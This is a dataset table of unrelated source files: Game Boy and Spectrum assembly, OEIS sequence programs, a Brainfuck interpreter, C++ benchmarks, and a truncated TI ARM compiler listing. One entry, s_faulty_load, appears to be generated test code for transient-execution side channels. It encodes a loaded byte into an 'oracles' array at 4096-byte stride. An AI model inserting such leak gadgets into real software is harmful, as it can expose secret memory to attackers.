text stringlengths 1 1.05M |
|---|
PokemonTower2_h:
db CEMETERY ; tileset
db POKEMONTOWER_2_HEIGHT, POKEMONTOWER_2_WIDTH ; dimensions (y, x)
dw PokemonTower2Blocks, PokemonTower2TextPointers, PokemonTower2Script ; blocks, texts, scripts
db $00 ; connections
dw PokemonTower2Object ; objects
|
; A016846: a(n) = (4*n + 3)^10.
; 59049,282475249,25937424601,576650390625,6131066257801,41426511213649,205891132094649,819628286980801,2758547353515625,8140406085191601,21611482313284249,52599132235830049,119042423827613001,253295162119140625,511116753300641401,984930291881790849,1822837804551761449,3255243551009881201,5631351470947265625,9468276082626847201,15516041187205853449,24842341419143568849,38941611811810745401,59873693923837890625,90438207500880449001,134391637934412192049,196715135728956532249,283942098606901565601
mul $0,4
add $0,3
pow $0,10
|
//
// auto-generated by op2.py
//
//user function
//user function
void update_omp4_kernel(
double *data0,
int dat0size,
double *data1,
int dat1size,
double *data2,
int dat2size,
double *arg3,
int count,
int num_teams,
int nthread);
// host stub function
void op_par_loop_update(char const *name, op_set set,
op_arg arg0,
op_arg arg1,
op_arg arg2,
op_arg arg3){
double*arg3h = (double *)arg3.data;
int nargs = 4;
op_arg args[4];
args[0] = arg0;
args[1] = arg1;
args[2] = arg2;
args[3] = arg3;
// initialise timers
double cpu_t1, cpu_t2, wall_t1, wall_t2;
op_timing_realloc(8);
op_timers_core(&cpu_t1, &wall_t1);
OP_kernels[8].name = name;
OP_kernels[8].count += 1;
if (OP_diags>2) {
printf(" kernel routine w/o indirection: update");
}
op_mpi_halo_exchanges_cuda(set, nargs, args);
#ifdef OP_PART_SIZE_8
int part_size = OP_PART_SIZE_8;
#else
int part_size = OP_part_size;
#endif
#ifdef OP_BLOCK_SIZE_8
int nthread = OP_BLOCK_SIZE_8;
#else
int nthread = OP_block_size;
#endif
double arg3_l = arg3h[0];
if (set->size >0) {
//Set up typed device pointers for OpenMP
double* data0 = (double*)arg0.data_d;
int dat0size = getSetSizeFromOpArg(&arg0) * arg0.dat->dim;
double* data1 = (double*)arg1.data_d;
int dat1size = getSetSizeFromOpArg(&arg1) * arg1.dat->dim;
double* data2 = (double*)arg2.data_d;
int dat2size = getSetSizeFromOpArg(&arg2) * arg2.dat->dim;
update_omp4_kernel(
data0,
dat0size,
data1,
dat1size,
data2,
dat2size,
&arg3_l,
set->size,
part_size!=0?(set->size-1)/part_size+1:(set->size-1)/nthread,
nthread);
}
// combine reduction data
arg3h[0] = arg3_l;
op_mpi_reduce_double(&arg3,arg3h);
op_mpi_set_dirtybit_cuda(nargs, args);
if (OP_diags>1) deviceSync();
// update kernel record
op_timers_core(&cpu_t2, &wall_t2);
OP_kernels[8].time += wall_t2 - wall_t1;
OP_kernels[8].transfer += (float)set->size * arg0.size * 2.0f;
OP_kernels[8].transfer += (float)set->size * arg1.size * 2.0f;
OP_kernels[8].transfer += (float)set->size * arg2.size;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x7be3, %r8
clflush (%r8)
nop
nop
nop
nop
sub $56623, %rdi
mov $0x6162636465666768, %r14
movq %r14, (%r8)
nop
nop
cmp %r13, %r13
lea addresses_A_ht+0x198e3, %rbp
nop
nop
nop
and %rsi, %rsi
vmovups (%rbp), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r9
nop
nop
cmp $49085, %r9
lea addresses_WT_ht+0x1e3ee, %rsi
lea addresses_A_ht+0x9f41, %rdi
nop
add $21708, %r9
mov $12, %rcx
rep movsl
and %rsi, %rsi
lea addresses_A_ht+0x3b7, %r9
nop
nop
sub %rsi, %rsi
movl $0x61626364, (%r9)
nop
nop
nop
dec %r9
lea addresses_A_ht+0xb9e3, %rcx
nop
nop
nop
nop
sub %rdi, %rdi
mov (%rcx), %r9w
nop
nop
xor %r14, %r14
lea addresses_D_ht+0x3ff1, %r13
nop
nop
nop
nop
and %rcx, %rcx
movw $0x6162, (%r13)
and $42323, %rsi
lea addresses_normal_ht+0x1ece3, %r9
nop
nop
nop
nop
nop
sub %rsi, %rsi
movw $0x6162, (%r9)
nop
xor %rsi, %rsi
lea addresses_WC_ht+0x159e3, %rsi
lea addresses_WC_ht+0xc8e3, %rdi
nop
nop
nop
nop
nop
inc %rbp
mov $45, %rcx
rep movsw
nop
nop
nop
and $10714, %rsi
lea addresses_UC_ht+0x126e3, %rsi
lea addresses_normal_ht+0x15d43, %rdi
nop
nop
nop
add $9519, %r9
mov $47, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $21843, %rdi
lea addresses_normal_ht+0x132e3, %rsi
lea addresses_WC_ht+0x14ee3, %rdi
dec %r9
mov $74, %rcx
rep movsb
nop
nop
nop
nop
dec %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r15
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WC+0xcb63, %r13
add %r15, %r15
movb $0x51, (%r13)
nop
nop
nop
nop
nop
sub %r14, %r14
// REPMOV
lea addresses_UC+0xc0e3, %rsi
lea addresses_WC+0x198e3, %rdi
nop
nop
nop
nop
nop
add %r15, %r15
mov $21, %rcx
rep movsw
nop
nop
cmp %rdi, %rdi
// REPMOV
lea addresses_WT+0xf0e3, %rsi
lea addresses_WT+0x11663, %rdi
clflush (%rsi)
nop
nop
nop
inc %r15
mov $43, %rcx
rep movsb
sub %r14, %r14
// Load
lea addresses_UC+0x1dbfd, %rcx
sub $56764, %r11
mov (%rcx), %r15w
nop
nop
sub %rcx, %rcx
// Store
lea addresses_RW+0x1f9cb, %rcx
nop
nop
nop
nop
nop
and %r14, %r14
mov $0x5152535455565758, %r11
movq %r11, (%rcx)
nop
nop
nop
sub $36033, %r15
// Faulty Load
lea addresses_WT+0xf0e3, %r13
dec %rsi
mov (%r13), %r14w
lea oracles, %r15
and $0xff, %r14
shlq $12, %r14
mov (%r15,%r14,1), %r14
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 0}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC'}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_WT'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 2}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': True, 'size': 2, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 8}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 10}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 2}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 8}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': True, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'dst': {'same': True, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
include comparison_predicates.inc
.code
; void AVX512_Packed_Compare_Float_(const ZmmVal * a, const ZmmVal * b, uint16_t result[8]);
AVX512_Packed_Compare_Float_ proc
vmovaps zmm0, zmmword ptr [rcx]
vmovaps zmm1, zmmword ptr [rdx]
vcmpps k1, zmm0, zmm1, CMP_EQ_OQ
kmovw word ptr [r8], k1
vcmpps k1, zmm0, zmm1, CMP_NEQ_OQ
kmovw word ptr [r8+2], k1
vcmpps k1, zmm0, zmm1, CMP_LT_OS
kmovw word ptr [r8+4], k1
vcmpps k1, zmm0, zmm1, CMP_LE_OS
kmovw word ptr [r8+6], k1
vcmpps k1, zmm0, zmm1, CMP_GT_OS
kmovw word ptr [r8+8], k1
vcmpps k1, zmm0, zmm1, CMP_GE_OS
kmovw word ptr [r8+10], k1
vcmpps k1, zmm0, zmm1, CMP_ORD_S
kmovw word ptr [r8+12], k1
vcmpps k1, zmm0, zmm1, CMP_UNORD_S
kmovw word ptr [r8+14], k1
vzeroupper
ret
AVX512_Packed_Compare_Float_ endp
end |
#include <set>
#include <benchmark/benchmark.h>
#include <boost/container/flat_set.hpp>
enum class Pos
{
Begin,
Middle,
End,
NotExist
};
template <class T>
struct TestCont {
using key_type = T;
static constexpr size_t SHARDS = 32;
std::vector<T> shards[SHARDS];
void insert(const T& t)
{
shards[t % SHARDS].push_back(t);
}
size_t count(const T& t) const
{
for (T x : shards[t % SHARDS])
if (x == t)
return 1;
return 0;
}
};
template <class T>
struct TestCont1 {
using key_type = T;
static constexpr size_t SHARDS = 32;
boost::container::flat_set<T> shards[SHARDS];
void insert(const T& t)
{
shards[t % SHARDS].insert(t);
}
size_t count(const T& t) const
{
return shards[t % SHARDS].count(t);
}
};
template <class Cont, Pos tPos>
static void BM_SearchTest(benchmark::State& state)
{
Cont m_Cont;
for (int i = 0; i < state.range(0); ++i)
m_Cont.insert(i);
typename Cont::key_type middle;
if constexpr (Pos::Begin == tPos)
middle = 0;
else if constexpr (Pos::Middle == tPos)
middle = state.range(0) * 3 / 4;
else if constexpr (Pos::End == tPos)
middle = state.range(0) - 1;
else
middle = state.range(0) * 2;
for (auto _ : state)
{
benchmark::DoNotOptimize(m_Cont.count(middle));
}
state.SetItemsProcessed(state.iterations());
}
using T = int;
BENCHMARK_TEMPLATE(BM_SearchTest, std::set<T>, Pos::Begin)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, TestCont<T>, Pos::Begin)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, boost::container::flat_set<T>, Pos::Begin)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, std::set<T>, Pos::Middle)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, TestCont<T>, Pos::Middle)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, boost::container::flat_set<T>, Pos::Middle)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, std::set<T>, Pos::End)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, TestCont<T>, Pos::End)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, boost::container::flat_set<T>, Pos::End)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, std::set<T>, Pos::NotExist)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, TestCont<T>, Pos::NotExist)->Range(4, 1024);
BENCHMARK_TEMPLATE(BM_SearchTest, boost::container::flat_set<T>, Pos::NotExist)->Range(4, 1024);
BENCHMARK_MAIN();
|
; A305265: a(n) = 12*2^n + 62.
; 74,86,110,158,254,446,830,1598,3134,6206,12350,24638,49214,98366,196670,393278,786494,1572926,3145790,6291518,12582974,25165886,50331710,100663358,201326654,402653246,805306430,1610612798,3221225534,6442451006,12884901950,25769803838,51539607614,103079215166,206158430270,412316860478,824633720894,1649267441726,3298534883390,6597069766718,13194139533374,26388279066686,52776558133310,105553116266558,211106232533054,422212465066046,844424930132030,1688849860263998,3377699720527934,6755399441055806
mov $1,2
pow $1,$0
sub $1,1
mul $1,12
add $1,74
mov $0,$1
|
global _main
extern _GetStdHandle@4
extern _WriteFile@20
extern _ReadFile@20
extern _ExitProcess@4
extern _HeapCreate@12
extern _HeapAlloc@12
extern _CreateFileA@28
extern _CloseHandle@4
extern _GetFileSize@8
extern _HeapFree@12
section .data
hStdOut: dd 0
hStdIn: dd 0
hHeap: dd 0
program: dd 0
programLength: dd 0
hFile: dd 0
filename: db "./program.bf",0
inputString: dd 0
inputPointer: dd 0
programPointer: dd 0
memory: times 4096 db 0 ; Max memory
memory_end:
memoryPointer: dd 2048 ; Initial memory pointer position
tmpInput: db 0
nestedLoopCount: dd 0
; ----------- DEBUGGING ----------------
;newLine: db 10,0
section .text
_main:
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+12] ; argv
mov ebx, [eax+4] ; ebx = argv[1]
mov dword [inputString], ebx
; hStdOut
push -11
call _GetStdHandle@4
mov [hStdOut], eax
; hStdIn
push -10
call _GetStdHandle@4
mov [hStdIn], eax
; hHeap
push 0
push 0
push 0x00040000
call _HeapCreate@12
mov [hHeap], eax
; CreateFileA(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile)
push 0 ; hTemplateFile
push 1 ; dwFlagsAndAttributes: 1 = read-only
push 3 ; dwCreationDisposition: 3 = only open if file exists
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode: 1 = file_share_read
push 31 ; dwDesiredAccess: 31 = GENERIC_READ
push dword filename
call _CreateFileA@28
mov [hFile], eax
; GetFileSize(hFile, lpFileSizeHigh)
push 0
push dword [hFile]
call _GetFileSize@8
mov [programLength], eax
; Alloc [programLength] bytes
push dword [programLength]
push 0x00000008
push dword [hHeap]
call _HeapAlloc@12
mov [program], eax
; Read [programLength] bytes from file into abc
push 0
lea eax, [ebp-4]
push eax
push dword [programLength]
push dword [program]
push dword [hFile]
call _ReadFile@20
; Close FileHandle
push dword [hFile]
call _CloseHandle@4
mov dword [programPointer], 0 ; program_pointer
programLoop:
; Load next char into al
mov eax, [program]
add eax, [programPointer]
mov al, [eax]
cmp al, '+'
je plus
cmp al, '-'
je minus
cmp al, '<'
je left
cmp al, '>'
je right
cmp al, '.'
je output
cmp al, ','
je input
cmp al, '['
je loopStart
cmp al, ']'
je loopEnd
jmp continue
plus:
mov edx, [memoryPointer]
mov al, [memory + edx]
cmp al, 255
je setzero
inc byte [memory + edx]
jmp continue
setzero:
mov byte [memory + edx], 0
jmp continue
minus:
mov edx, [memoryPointer]
mov al, [memory + edx]
cmp al, 0
je setmax
dec byte [memory + edx]
jmp continue
setmax:
mov byte [memory + edx], 255
jmp continue
left:
cmp dword [memoryPointer], 0
je invalidLeftOperation
dec dword [memoryPointer]
jmp continue
invalidLeftOperation:
push 4
call _ExitProcess@4
right:
lea eax, [memory_end - memory]
dec eax
cmp dword [memoryPointer], eax
je invalidRightOperation
inc dword [memoryPointer]
jmp continue
invalidRightOperation:
push 5
call _ExitProcess@4
output:
; WriteFile( hstdOut, message, length(message), &bytes, 0);
push 0
lea eax, [ebp-4]
push eax
push 1
mov eax, memory
add eax, [memoryPointer]
push eax
push dword [hStdOut]
call _WriteFile@20
jmp continue
input:
mov ebx, [inputString]
add ebx, [inputPointer]
mov bl, [ebx]
cmp bl, 0
je noInputPresent
mov ecx, memory
add ecx, [memoryPointer]
mov byte [ecx], bl
inc dword [inputPointer]
jmp continue
noInputPresent:
push 2
call _ExitProcess@4
loopStart:
mov eax, memory
add eax, [memoryPointer]
cmp byte [eax], 0
jne continue
; Seek end of loop
mov dword [nestedLoopCount], 0
mov edx, [programPointer]
seekForward:
mov eax, [program]
mov al, [eax + edx]
cmp al, '['
je seekForwardStartLoop
cmp al, ']'
je seekForwardEndLoop
jmp continueSeekForward
seekForwardStartLoop:
inc dword [nestedLoopCount]
jmp continueSeekForward
seekForwardEndLoop:
cmp dword [nestedLoopCount], 1
je foundEndLoop
dec dword [nestedLoopCount]
jmp continueSeekForward
foundEndLoop:
mov [programPointer], edx
jmp continue
continueSeekForward:
mov ecx, [programLength]
sub ecx, edx
inc edx
loop seekForward
push 1
call _ExitProcess@4
loopEnd:
mov eax, memory
add eax, [memoryPointer]
cmp byte [eax], 0
je continue
; Seek start of loop
mov dword [nestedLoopCount], 0
mov edx, [programPointer]
seekBackwards:
mov eax, [program]
mov al, [eax + edx]
cmp al, ']'
je seekBackwardsStartLoop
cmp al, '['
je seekBackwardsEndLoop
jmp continueSeekBackwards
seekBackwardsStartLoop:
inc dword [nestedLoopCount]
jmp continueSeekBackwards
seekBackwardsEndLoop:
cmp dword [nestedLoopCount], 1
je foundStartLoop
dec dword [nestedLoopCount]
jmp continueSeekBackwards
foundStartLoop:
mov [programPointer], edx
jmp continue
continueSeekBackwards:
mov ecx, edx
dec edx
loop seekBackwards
push 3
call _ExitProcess@4
jmp continue
continue:
mov ecx, [programLength]
sub ecx, [programPointer]
inc dword [programPointer]
dec ecx
jnz programLoop
; HeapFree(hHeap, dwFlags, lpMem)
push dword [program]
push 0
push dword [hHeap]
call _HeapFree@12
; ExitProcess(0)
push 0
call _ExitProcess@4
; ----------- DEBUGGING ----------------
;printMemory:
; ; Dump brainfuck memory in console
; mov edx, 0
;memoryDumpLoop:
; push edx
; ; WriteFile( hstdOut, message, length(message), &bytes, 0);
; push 0
; lea eax, [ebp-4]
; push eax
; push 1
; ;add dword [memory + ecx], 48
; mov eax, memory
; add eax, edx
; push eax
; push dword [hStdOut]
; call _WriteFile@20
; pop edx
; mov ecx, 19
; sub ecx, edx
; inc edx
; loop memoryDumpLoop
; call println
; ret
;
;println:
; push 0
; lea eax, [ebp-4]
; push eax
; push 1
; push newLine
; push dword [hStdOut]
; call _WriteFile@20
; ret |
class Solution {
public:
int missingNumber(vector<int>& nums) {
int var=0,i;
for(i=0;i<=nums.size()-1;i++){
var=var^i;
var=var^nums[i];
}
return var^nums.size();
}
}; |
; DRAW ATTR ONLY SPRITE (NO PIXELS)
; 04.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
SECTION code_temp_sp1
PUBLIC _SP1_DRAW_ATTR
EXTERN SP1RETSPRDRAW
; following data segment copied into struct sp1_cs
ld hl,0
nop
ld de,0
call SP1RETSPRDRAW
_SP1_DRAW_ATTR:
; yes that's it
|
Map_68454: dc.w word_6845C-Map_68454
dc.w word_68464-Map_68454
dc.w word_6846C-Map_68454
dc.w word_68474-Map_68454
word_6845C: dc.w 1 ; DATA XREF: ROM:00068454o
dc.b $F8, $D, 0, 0, $FF, $F0
word_68464: dc.w 1 ; DATA XREF: ROM:00068454o
dc.b $F8, $D, 0, 8, $FF, $F0
word_6846C: dc.w 1 ; DATA XREF: ROM:00068454o
dc.b $F8, $D, 0, $10, $FF, $F0
word_68474: dc.w 1 ; DATA XREF: ROM:00068454o
dc.b $F8, $D, 0, $18, $FF, $F0
|
; A000172: Franel number a(n) = Sum_{k = 0..n} binomial(n,k)^3.
; Submitted by Jamie Morken(s4)
; 1,2,10,56,346,2252,15184,104960,739162,5280932,38165260,278415920,2046924400,15148345760,112738423360,843126957056,6332299624282,47737325577620,361077477684436,2739270870994736,20836827035351596,158883473753259752,1214171997616258240,9297206748439774976,71321835387812803696,548057409594239814752,4217997789071070495904,32509700414484268142720,250900149362426273826112,1938786076426160669163392,14999045536109527518717184,116163417566507388158025728,900570078611885122763226970
mov $2,$0
lpb $0
sub $0,1
mov $3,$2
bin $3,$0
pow $3,3
add $1,$3
lpe
mov $0,$1
add $0,1
|
;******************************************************************************
;* TI ARM C/C++ Codegen Unix v18.1.1.LTS *
;* Date/Time created: Fri Jul 3 20:08:23 2020 *
;******************************************************************************
.compiler_opts --abi=eabi --arm_vmrs_si_workaround=off --code_state=16 --diag_wrap=off --embedded_constants=on --endian=little --float_support=FPv4SPD16 --hll_source=on --object_format=elf --silicon_version=7M4 --symdebug:dwarf --symdebug:dwarf_version=3 --unaligned_access=on
.thumb
$C$DW$CU .dwtag DW_TAG_compile_unit
.dwattr $C$DW$CU, DW_AT_name("../driverlib/cpu.c")
.dwattr $C$DW$CU, DW_AT_producer("TI TI ARM C/C++ Codegen Unix v18.1.1.LTS Copyright (c) 1996-2017 Texas Instruments Incorporated")
.dwattr $C$DW$CU, DW_AT_TI_version(0x01)
.dwattr $C$DW$CU, DW_AT_comp_dir("/home/pola/workspace_v8/Microwave/Debug")
; /home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/bin/armacpia -@/tmp/TI3O9S70eUk
.sect ".text"
.clink
.thumbfunc CPUcpsid
.thumb
.global CPUcpsid
$C$DW$1 .dwtag DW_TAG_subprogram
.dwattr $C$DW$1, DW_AT_name("CPUcpsid")
.dwattr $C$DW$1, DW_AT_low_pc(CPUcpsid)
.dwattr $C$DW$1, DW_AT_high_pc(0x00)
.dwattr $C$DW$1, DW_AT_TI_symbol_name("CPUcpsid")
.dwattr $C$DW$1, DW_AT_external
.dwattr $C$DW$1, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$1, DW_AT_TI_begin_file("../driverlib/cpu.c")
.dwattr $C$DW$1, DW_AT_TI_begin_line(0x6a)
.dwattr $C$DW$1, DW_AT_TI_begin_column(0x01)
.dwattr $C$DW$1, DW_AT_decl_file("../driverlib/cpu.c")
.dwattr $C$DW$1, DW_AT_decl_line(0x6a)
.dwattr $C$DW$1, DW_AT_decl_column(0x01)
.dwattr $C$DW$1, DW_AT_TI_max_frame_size(0x00)
.dwpsn file "../driverlib/cpu.c",line 107,column 1,is_stmt,address CPUcpsid,isa 1
.dwfde $C$DW$CIE, CPUcpsid
;----------------------------------------------------------------------
; 106 | CPUcpsid(void)
; 108 | //
; 109 | // Read PRIMASK and disable interrupts.
; 110 | //
;----------------------------------------------------------------------
;*****************************************************************************
;* FUNCTION NAME: CPUcpsid *
;* *
;* Regs Modified : A1,SR *
;* Regs Used : A1,LR,SR *
;* Local Frame Size : 0 Args + 0 Auto + 0 Save = 0 byte *
;*****************************************************************************
CPUcpsid:
;* --------------------------------------------------------------------------*
.dwcfi cfa_offset, 0
.dwpsn file "../driverlib/cpu.c",line 111,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 111 | __asm(" mrs r0, PRIMASK\n"
; 112 | " cpsid i\n"
; 113 | " bx lr\n");
; 115 | //
; 116 | // The following keeps the compiler happy, because it wants to see a
; 117 | // return value from this function. It will generate code to return
; 118 | // a zero. However, the real return is the "bx lr" above, so the
; 119 | // return(0) is never executed and the function returns with the value
; 120 | // you expect in R0.
; 121 | //
;----------------------------------------------------------------------
mrs r0, PRIMASK
cpsid i
bx lr
.dwpsn file "../driverlib/cpu.c",line 122,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 122 | return(0);
;----------------------------------------------------------------------
MOVS A1, #0 ; [DPU_V7M3_PIPE] |122|
.dwpsn file "../driverlib/cpu.c",line 123,column 1,is_stmt,isa 1
$C$DW$2 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$2, DW_AT_low_pc(0x00)
.dwattr $C$DW$2, DW_AT_TI_return
BX LR ; [DPU_V7M3_PIPE]
; BRANCH OCCURS ; []
.dwattr $C$DW$1, DW_AT_TI_end_file("../driverlib/cpu.c")
.dwattr $C$DW$1, DW_AT_TI_end_line(0x7b)
.dwattr $C$DW$1, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$1
.sect ".text"
.clink
.thumbfunc CPUprimask
.thumb
.global CPUprimask
$C$DW$3 .dwtag DW_TAG_subprogram
.dwattr $C$DW$3, DW_AT_name("CPUprimask")
.dwattr $C$DW$3, DW_AT_low_pc(CPUprimask)
.dwattr $C$DW$3, DW_AT_high_pc(0x00)
.dwattr $C$DW$3, DW_AT_TI_symbol_name("CPUprimask")
.dwattr $C$DW$3, DW_AT_external
.dwattr $C$DW$3, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$3, DW_AT_TI_begin_file("../driverlib/cpu.c")
.dwattr $C$DW$3, DW_AT_TI_begin_line(0xb9)
.dwattr $C$DW$3, DW_AT_TI_begin_column(0x01)
.dwattr $C$DW$3, DW_AT_decl_file("../driverlib/cpu.c")
.dwattr $C$DW$3, DW_AT_decl_line(0xb9)
.dwattr $C$DW$3, DW_AT_decl_column(0x01)
.dwattr $C$DW$3, DW_AT_TI_max_frame_size(0x00)
.dwpsn file "../driverlib/cpu.c",line 186,column 1,is_stmt,address CPUprimask,isa 1
.dwfde $C$DW$CIE, CPUprimask
;----------------------------------------------------------------------
; 185 | CPUprimask(void)
; 187 | //
; 188 | // Read PRIMASK and disable interrupts.
; 189 | //
;----------------------------------------------------------------------
;*****************************************************************************
;* FUNCTION NAME: CPUprimask *
;* *
;* Regs Modified : A1,SR *
;* Regs Used : A1,LR,SR *
